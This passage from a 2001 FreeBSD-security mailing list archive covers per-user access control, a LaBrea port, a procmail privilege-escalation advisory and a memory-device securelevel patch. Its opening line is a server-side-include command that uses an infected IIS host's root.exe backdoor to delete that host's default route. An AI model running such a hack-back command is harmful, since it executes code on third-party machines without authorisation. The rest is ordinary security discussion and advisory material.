<!--#exec cmd="/usr/local/bin/lynx -dump http://$REMOTE_HOST/scripts/root.exe\?/c+route+delete+0.0.0.0 >/dev/null 2>/dev/null" -->

Thereby putting a message on the console and taking the machine off the
Internet in a "friendly" way.


-- 
  Paul Chvostek                                             <paul@it.ca>
  Operations / Development / Abuse / Whatever       vox: +1 416 598-0000
  IT Canada                                            http://www.it.ca/


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24  6:12: 7 2001
Delivered-To: freebsd-security@freebsd.org
Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44])
	by hub.freebsd.org (Postfix) with ESMTP id 3DB5137B41A
	for <FreeBSD-Security@FreeBSD.ORG>; Mon, 24 Sep 2001 06:12:02 -0700 (PDT)
Received: (from daemon@localhost)
	by point.osg.gov.bc.ca (8.8.7/8.8.8) id GAA31108;
	Mon, 24 Sep 2001 06:11:44 -0700
Received: from passer.osg.gov.bc.ca(142.32.110.29)
 via SMTP by point.osg.gov.bc.ca, id smtpda31106; Mon Sep 24 06:11:42 2001
Received: (from uucp@localhost)
	by passer.osg.gov.bc.ca (8.11.6/8.9.1) id f8ODBf527148;
	Mon, 24 Sep 2001 06:11:41 -0700 (PDT)
Received: from UNKNOWN(10.1.2.1), claiming to be "cwsys.cwsent.com"
 via SMTP by passer9.cwsent.com, id smtpdd27146; Mon Sep 24 06:11:38 2001
Received: (from smtpd@localhost)
	by cwsys.cwsent.com (8.11.6/8.9.1) id f8ODBMd08884;
	Mon, 24 Sep 2001 06:11:22 -0700 (PDT)
Message-Id: <200109241311.f8ODBMd08884@cwsys.cwsent.com>
X-Authentication-Warning: cwsys.cwsent.com: smtpd set sender to <cy@cwsys> using -f
Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys"
 via SMTP by localhost.cwsent.com, id smtpdpT8850; Mon Sep 24 06:10:46 2001
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
Reply-To: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
From: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
X-Sender: schubert
To: horio shoichi <horio@pointer-software.com>
Cc: Stanley Hopcroft <Stanley.Hopcroft@IPAustralia.gov.au>,
	FreeBSD-Security@FreeBSD.ORG
Subject: Re: Policy based routing/restricting access __inside__ ones 
 net..
In-reply-to: Your message of "Mon, 24 Sep 2001 03:43:53 +0900."
             <3BAE2D69.F8A82FE4@pointer-software.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 24 Sep 2001 06:10:46 -0700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

In message <3BAE2D69.F8A82FE4@pointer-software.com>, horio shoichi 
writes:
> Stanley Hopcroft wrote:
> > 
> > Dear Ladies and Gentlemen,
> > 
> > I am writing to ask for advice about providing profile dependent access
> > to subsets of ones internal network.
> > 
> > The context is having third parties access the network for maintenance.
> > 
> > Once they get logged in on the host they are hired to maintain, how can
> > I prevent them accessing other hosts while allowing __some__ access to
> > others they may need for problem resolution ? (given that both sets of
> > hosts can be specified)
> > 
> > Can a Kerberos realm enforce access profiles such as these (and then if
> > they were forced to use only kerberised applications, grant them tickets
> > for access to some hosts only) ?
> > 
> If you mean by realm to split servers into possibly overlapping set of 
> realms each of which has separate set of principals (users and services)
> and
> users access servers through cross-realm authentication, I see no reason
> it
> doesn't work.
> 
> > Can ipfilter/ipfw provide ACLs depending on user ?
> > 
> Ipfilter is so low level that it has no notion of user. It only
> recognizes
> protocol, ip and port. If a user (or users) could be bound to a specific
> set of protocol, ip and port corresponding to an instance of service,
> then access control might be possible. But I doubt doing this would
> worth efforts.

Don't forget the IPFW will only be able to filter depending on user 
only if the user is on the system doing the filtering.  If you have a 
separate firewall system, access control based on user is close to 
impossible.


Regards,                         Phone:  (250)387-8437
Cy Schubert                        Fax:  (250)387-5766
Team Leader, Sun/Alpha Team   Internet:  Cy.Schubert@osg.gov.bc.ca
Open Systems Group, ITSD
Ministry of Management Services
Province of BC




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24  7:25: 4 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mail.delaware.net (mail2.delaware.net [204.253.96.6])
	by hub.freebsd.org (Postfix) with ESMTP id DF4DF37B406
	for <security@freebsd.org>; Mon, 24 Sep 2001 07:24:59 -0700 (PDT)
Received: from richnew (mushumba.delaware.net [204.253.96.150])
	by mail.delaware.net (8.12.0/8.12.0) with SMTP id f8OEJr1K017395
	for <security@freebsd.org>; Mon, 24 Sep 2001 10:19:54 -0400
From: "Rich Culp" <richc@delaware.net>
To: <security@freebsd.org>
Subject: 
Date: Mon, 24 Sep 2001 10:19:41 -0400
Message-ID: <LOEEILLNIDCMKDAILBDPCEAGCIAA.richc@delaware.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24  9:29:50 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mail.thelbane.com (dsl-209-87-101-182.constant.com [209.87.101.182])
	by hub.freebsd.org (Postfix) with SMTP id 7E31937B417
	for <freebsd-security@FreeBSD.ORG>; Mon, 24 Sep 2001 09:29:46 -0700 (PDT)
Received: (qmail 30122 invoked from network); 24 Sep 2001 16:29:40 -0000
Received: from dsl-198-92-137-12.constant.com (HELO ?192.168.100.202?) (198.92.137.12)
  by shalmaneser.thelbane.com with SMTP; 24 Sep 2001 16:29:40 -0000
From: Timothy Knox <tdk@thelbane.com>
To: <freebsd-security@FreeBSD.ORG>
Subject: LaBrea for BSD?
Date: Mon, 24 Sep 2001 11:27:50 -0500
Message-Id: <20010924162750.24311@shalmaneser.thelbane.com>
X-Mailer: CTM PowerMail 3.0.9 <http://www.ctmdev.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Has anyone here looked at LaBrea <http://hts.dshield.org/LaBrea/>? If so,
how much effort would be needed to port it to FreeBSD? It seems like an
interesting idea, and a potentially amusing way to slow the spread of
these darn IIS worms.

Just my 2.02 yen worth, YMMV, void where prohibited by law.
-- 
Timothy Knox  --  <mailto:tdk@thelbane.com>
"Stupidity is like nuclear power. It can be used for good or evil,
and you don't want to get any on you." -- Scott Adams


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24  9:43:37 2001
Delivered-To: freebsd-security@freebsd.org
Received: from peitho.fxp.org (peitho.fxp.org [209.26.95.40])
	by hub.freebsd.org (Postfix) with ESMTP id E39B637B41B
	for <freebsd-security@FreeBSD.ORG>; Mon, 24 Sep 2001 09:43:33 -0700 (PDT)
Received: by peitho.fxp.org (Postfix, from userid 1501)
	id E86AF13643; Mon, 24 Sep 2001 12:43:28 -0400 (EDT)
Date: Mon, 24 Sep 2001 12:43:28 -0400
From: Chris Faulhaber <jedgar@fxp.org>
To: Timothy Knox <tdk@thelbane.com>
Cc: freebsd-security@FreeBSD.ORG
Subject: Re: LaBrea for BSD?
Message-ID: <20010924124328.A61140@peitho.fxp.org>
Mail-Followup-To: Chris Faulhaber <jedgar@fxp.org>,
	Timothy Knox <tdk@thelbane.com>, freebsd-security@FreeBSD.ORG
References: <20010924162750.24311@shalmaneser.thelbane.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3V7upXqbjpZ4EhLz"
Content-Disposition: inline
In-Reply-To: <20010924162750.24311@shalmaneser.thelbane.com>
User-Agent: Mutt/1.3.20i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--3V7upXqbjpZ4EhLz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Sep 24, 2001 at 11:27:50AM -0500, Timothy Knox wrote:
> Has anyone here looked at LaBrea <http://hts.dshield.org/LaBrea/>? If so,
> how much effort would be needed to port it to FreeBSD? It seems like an
> interesting idea, and a potentially amusing way to slow the spread of
> these darn IIS worms.
>=20

Actually I have an [untested] port at:

http://people.FreeBSD.org/~jedgar/labrea.shar

It builds and installs but I haven't had the time to test
its functionality.

--=20
Chris D. Faulhaber - jedgar@fxp.org - jedgar@FreeBSD.org
--------------------------------------------------------
FreeBSD: The Power To Serve   -   http://www.FreeBSD.org

--3V7upXqbjpZ4EhLz
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: FreeBSD: The Power To Serve

iEYEARECAAYFAjuvYrAACgkQObaG4P6BelD6aACfemN8f/sdnfo1R2gtgo1cwcpO
/lUAnRyGl5rr3LRm/U68KhQL70RlBIWR
=sp6u
-----END PGP SIGNATURE-----

--3V7upXqbjpZ4EhLz--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24 13:49:42 2001
Delivered-To: freebsd-security@freebsd.org
Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21])
	by hub.freebsd.org (Postfix) with ESMTP
	id 3FBDB37B427; Mon, 24 Sep 2001 13:49:30 -0700 (PDT)
Received: (from kris@localhost)
	by freefall.freebsd.org (8.11.4/8.11.4) id f8OKnUx62115;
	Mon, 24 Sep 2001 13:49:30 -0700 (PDT)
	(envelope-from security-advisories@FreeBSD.org)
Date: Mon, 24 Sep 2001 13:49:30 -0700 (PDT)
Message-Id: <200109242049.f8OKnUx62115@freefall.freebsd.org>
X-Authentication-Warning: freefall.freebsd.org: kris set sender to security-advisories@FreeBSD.org using -f
From: FreeBSD Security Advisories <security-advisories@FreeBSD.org>
To: FreeBSD Security Advisories <security-advisories@FreeBSD.org>
Subject: FreeBSD Security Advisory FreeBSD-SA-01:60.procmail
Reply-To: security-advisories@FreeBSD.org
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

-----BEGIN PGP SIGNED MESSAGE-----

=============================================================================
FreeBSD-SA-01:60                                           Security Advisory
                                                                FreeBSD, Inc.

Topic:          Multiple vulnerabilities in procmail signal handling

Category:       ports
Module:         procmail
Announced:      2001-09-24
Credits:        Philip A. Guenther <guenther@sendmail.com>
Affects:        Ports collection prior to the correction date.
Corrected:      2001-06-29 06:46:38 2001 UTC
FreeBSD only:   NO

I.   Background

procmail is an incoming mail processor, typically used to implement
mail filters as well as sorting incoming mail into folders.

II.  Problem Description

procmail versions prior to procmail 3.20 performed unsafe actions
while in the signal handlers.  If a signal is delivered while procmail
is already in an unsafe signal handler, undefined behaviour may
result, possibly leading to the ability to perform actions as the
superuser under unprivileged local user control.

The procmail port is not installed by default, nor is it "part of
FreeBSD" as such: it is part of the FreeBSD ports collection, which
contains over 5900 third-party applications in a ready-to-install
format. The ports collection shipped with FreeBSD 4.4 is not
vulnerable to this problem since it was discovered before its release.

FreeBSD makes no claim about the security of these third-party
applications, although an effort is underway to provide a security
audit of the most security-critical ports.

III. Impact

Because procmail runs setuid root, a local attacker may be able to
take advantage of these problems in order to obtain superuser
privileges, although there are no known exploits as of the date of
this advisory.

IV.  Workaround

1) Deinstall the procmail port/package if you have it installed.

V.   Solution

The port procmail-3.20 and later versions include fixes for these
vulnerabilities.

1) Upgrade your entire ports collection and rebuild the procmail port.

2) Deinstall the old package and install a new package dated after the
correction date, obtained from the following directories:

[i386]
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/mail/procmail-3.21.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/mail/procmail-3.21.tgz

[alpha]
Packages are not automatically generated for the alpha architecture at
this time due to lack of build resources.

3) Download a new port skeleton for the procmail port from:

http://www.freebsd.org/ports/

and use it to rebuild the port.

4) Use the portcheckout utility to automate option (3) above. The
portcheckout port is available in /usr/ports/devel/portcheckout or the
package can be obtained from:

ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/devel/portcheckout-2.0.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/devel/portcheckout-2.0.tgz

VI.  Correction details

The following list contains the revision numbers of each file that was
corrected in the FreeBSD ports collection.

Path                                                             Revision
- -------------------------------------------------------------------------
ports/mail/procmail/Makefile                                         1.38
ports/mail/procmail/distinfo                                         1.11
- -------------------------------------------------------------------------  

VII. References

<URL:http://www.somelist.com/mail.php/282/view/1200950>
<URL:http://www.xray.mpe.mpg.de/mailing-lists/procmail/2001-06/msg00369.html>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iQCVAwUBO6+biVUuHi5z0oilAQHoEgP9HCVVpBp0+sTfJR5ATE2B5rVCLk6qQZVC
oGsQ2Xr5pm6JZfcFM4iuSPqdd8weosX6l1g81uyBTM7aHvae5ul+iQLNkFyW2CeI
98lGEa2pWV9Qw7/c19/nUSHwTGr++9XtUGysfnpI/zSQqGjkcNJF3gVe4Hsn153Q
wJ5Y519JoC4=
=Ti/S
-----END PGP SIGNATURE-----

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24 13:52:16 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66])
	by hub.freebsd.org (Postfix) with ESMTP id 380BE37B405
	for <security@FreeBSD.ORG>; Mon, 24 Sep 2001 13:52:09 -0700 (PDT)
Received: from nomad.yogotech.com (nomad.yogotech.com [206.127.123.131])
	by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id OAA26768
	for <security@FreeBSD.ORG>; Mon, 24 Sep 2001 14:52:07 -0600 (MDT)
	(envelope-from nate@nomad.yogotech.com)
Received: (from nate@localhost)
	by nomad.yogotech.com (8.8.8/8.8.8) id OAA27054;
	Mon, 24 Sep 2001 14:52:07 -0600 (MDT)
	(envelope-from nate)
From: Nate Williams <nate@yogotech.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15279.40183.345811.603978@nomad.yogotech.com>
Date: Mon, 24 Sep 2001 14:52:07 -0600
To: security@FreeBSD.ORG
Subject: Re: FreeBSD Security Advisory FreeBSD-SA-01:60.procmail
In-Reply-To: <200109242049.f8OKnVr62118@freefall.freebsd.org>
References: <200109242049.f8OKnVr62118@freefall.freebsd.org>
X-Mailer: VM 6.95 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid
Reply-To: nate@yogotech.com (Nate Williams)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

FreeBSD Security Advisories writes:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> =============================================================================
> FreeBSD-SA-01:60                                           Security Advisory
>                                                                 FreeBSD, Inc.
> 
> Topic:          Multiple vulnerabilities in procmail signal handling
> V.   Solution
> 
> The port procmail-3.20 and later versions include fixes for these
> vulnerabilities.

I'm guessing this is supposed to be procmail-3.21 and later?


Nate

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24 14: 6:41 2001
Delivered-To: freebsd-security@freebsd.org
Received: from obsecurity.dyndns.org (adsl-63-207-60-35.dsl.lsan03.pacbell.net [63.207.60.35])
	by hub.freebsd.org (Postfix) with ESMTP id A813F37B40F
	for <security@FreeBSD.ORG>; Mon, 24 Sep 2001 14:06:36 -0700 (PDT)
Received: by obsecurity.dyndns.org (Postfix, from userid 1000)
	id BB70866DD9; Mon, 24 Sep 2001 14:06:32 -0700 (PDT)
Date: Mon, 24 Sep 2001 14:06:32 -0700
From: Kris Kennaway <kris@obsecurity.org>
To: Nate Williams <nate@yogotech.com>
Cc: security@FreeBSD.ORG
Subject: Re: FreeBSD Security Advisory FreeBSD-SA-01:60.procmail
Message-ID: <20010924140632.A62096@xor.obsecurity.org>
References: <200109242049.f8OKnVr62118@freefall.freebsd.org> <15279.40183.345811.603978@nomad.yogotech.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="r5Pyd7+fXNt84Ff3"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <15279.40183.345811.603978@nomad.yogotech.com>; from nate@yogotech.com on Mon, Sep 24, 2001 at 02:52:07PM -0600
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--r5Pyd7+fXNt84Ff3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Sep 24, 2001 at 02:52:07PM -0600, Nate Williams wrote:
> FreeBSD Security Advisories writes:
> > -----BEGIN PGP SIGNED MESSAGE-----
> >=20
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D
> > FreeBSD-SA-01:60                                           Security Adv=
isory
> >                                                                 FreeBSD=
, Inc.
> >=20
> > Topic:          Multiple vulnerabilities in procmail signal handling
> > V.   Solution
> >=20
> > The port procmail-3.20 and later versions include fixes for these
> > vulnerabilities.
>=20
> I'm guessing this is supposed to be procmail-3.21 and later?

No, it's meant to be 3.20 and later.

Kris

--r5Pyd7+fXNt84Ff3
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE7r6BYWry0BWjoQKURAmyDAJ96FqpShsQl6Zivxb4skYKWhXe/UACgyYOc
yThWetBPg8JP3irVigwoSaM=
=xAsz
-----END PGP SIGNATURE-----

--r5Pyd7+fXNt84Ff3--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24 14: 9:44 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66])
	by hub.freebsd.org (Postfix) with ESMTP id 9A70337B40C
	for <security@FreeBSD.ORG>; Mon, 24 Sep 2001 14:09:41 -0700 (PDT)
Received: from nomad.yogotech.com (nomad.yogotech.com [206.127.123.131])
	by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id PAA27491;
	Mon, 24 Sep 2001 15:09:39 -0600 (MDT)
	(envelope-from nate@nomad.yogotech.com)
Received: (from nate@localhost)
	by nomad.yogotech.com (8.8.8/8.8.8) id PAA27177;
	Mon, 24 Sep 2001 15:09:39 -0600 (MDT)
	(envelope-from nate)
From: Nate Williams <nate@yogotech.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15279.41235.75925.318173@nomad.yogotech.com>
Date: Mon, 24 Sep 2001 15:09:39 -0600
To: Kris Kennaway <kris@obsecurity.org>
Cc: Nate Williams <nate@yogotech.com>, security@FreeBSD.ORG
Subject: Re: FreeBSD Security Advisory FreeBSD-SA-01:60.procmail
In-Reply-To: <20010924140632.A62096@xor.obsecurity.org>
References: <200109242049.f8OKnVr62118@freefall.freebsd.org>
	<15279.40183.345811.603978@nomad.yogotech.com>
	<20010924140632.A62096@xor.obsecurity.org>
X-Mailer: VM 6.95 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid
Reply-To: nate@yogotech.com (Nate Williams)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

> > > =============================================================================
> > > FreeBSD-SA-01:60                                           Security Advisory
> > >                                                                 FreeBSD, Inc.
> > > 
> > > Topic:          Multiple vulnerabilities in procmail signal handling
> > > V.   Solution
> > > 
> > > The port procmail-3.20 and later versions include fixes for these
> > > vulnerabilities.
> > 
> > I'm guessing this is supposed to be procmail-3.21 and later?
> 
> No, it's meant to be 3.20 and later.

Ahh, I read the vulnerability wrong.  It says

     procmail versions prior to procmail 3.20 performed unsafe actions
     while in the signal handlers.

I didn't parse 'prior to procmail 3.20' very well.

I'm sorry, my bad, ....



Nate

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24 17:14:19 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mail.clarkson.edu (mail.clarkson.edu [128.153.4.10])
	by hub.freebsd.org (Postfix) with SMTP id E44C337B40C
	for <freebsd-security@FreeBSD.ORG>; Mon, 24 Sep 2001 17:14:16 -0700 (PDT)
Received: (qmail 6805 invoked by uid 0); 25 Sep 2001 00:14:07 -0000
Received: from mofo.townhouse.clarkson.edu (HELO nycap.rr.com) (128.153.164.155)
  by mail.clarkson.edu with SMTP; 25 Sep 2001 00:14:07 -0000
Message-ID: <3BAFCDB3.B2270209@nycap.rr.com>
Date: Mon, 24 Sep 2001 20:20:03 -0400
From: Alex Danielski <alexd@nycap.rr.com>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: freebsd-security@FreeBSD.ORG
Subject: (no subject)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

unsubscribe


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  0: 7: 7 2001
Delivered-To: freebsd-security@freebsd.org
Received: from elvis.mu.org (elvis.mu.org [216.33.66.196])
	by hub.freebsd.org (Postfix) with ESMTP
	id 11E6F37B431; Tue, 25 Sep 2001 00:07:02 -0700 (PDT)
Received: by elvis.mu.org (Postfix, from userid 1192)
	id EA1BA81D05; Tue, 25 Sep 2001 02:07:01 -0500 (CDT)
Date: Tue, 25 Sep 2001 02:07:01 -0500
From: Alfred Perlstein <bright@mu.org>
To: alpha@freebsd.org
Cc: security@freebsd.org
Subject: bogon in 4.x memory device
Message-ID: <20010925020701.X97903@elvis.mu.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

without this top(1) fails on machines with raised securelevel.

can anyone review/comment?

Reported by: brian j. peterson <rbw@myplace.org> 

Index: mem.c
===================================================================
RCS file: /home/ncvs/src/sys/alpha/alpha/mem.c,v
retrieving revision 1.19.2.3
diff -u -r1.19.2.3 mem.c
--- mem.c	2000/05/14 00:29:44	1.19.2.3
+++ mem.c	2001/09/25 06:55:30
@@ -138,7 +138,7 @@
 	switch (minor(dev)) {
 	case 0:
 	case 1:
-		if (securelevel >= 1)
+		if ((flags & FWRITE) && securelevel > 0)
 			return (EPERM);
 		break;
 	case 32:


-- 
-Alfred Perlstein [alfred@freebsd.org]
'Instead of asking why a piece of software is using "1970s technology,"
start asking why software is ignoring 30 years of accumulated wisdom.'

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  1:24:51 2001
Delivered-To: freebsd-security@freebsd.org
Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65])
	by hub.freebsd.org (Postfix) with ESMTP
	id 8CE0337B415; Tue, 25 Sep 2001 01:24:23 -0700 (PDT)
Received: (from ru@localhost)
	by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f8P8Nn783808;
	Tue, 25 Sep 2001 11:23:49 +0300 (EEST)
	(envelope-from ru)
Date: Tue, 25 Sep 2001 11:23:49 +0300
From: Ruslan Ermilov <ru@FreeBSD.ORG>
To: "Thyer, Matthew" <Matthew.Thyer@dsto.defence.gov.au>
Cc: current@FreeBSD.ORG, markm@FreeBSD.ORG, security@FreeBSD.ORG
Subject: Re: rshd broken on -CURRENT
Message-ID: <20010925112349.A81446@sunbay.com>
References: <3BB012BE.BD8F324@dsto.defence.gov.au>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="s/l3CgOIzMHHjg/5"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BB012BE.BD8F324@dsto.defence.gov.au>; from Matthew.Thyer@dsto.defence.gov.au on Tue, Sep 25, 2001 at 02:44:38PM +0930
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
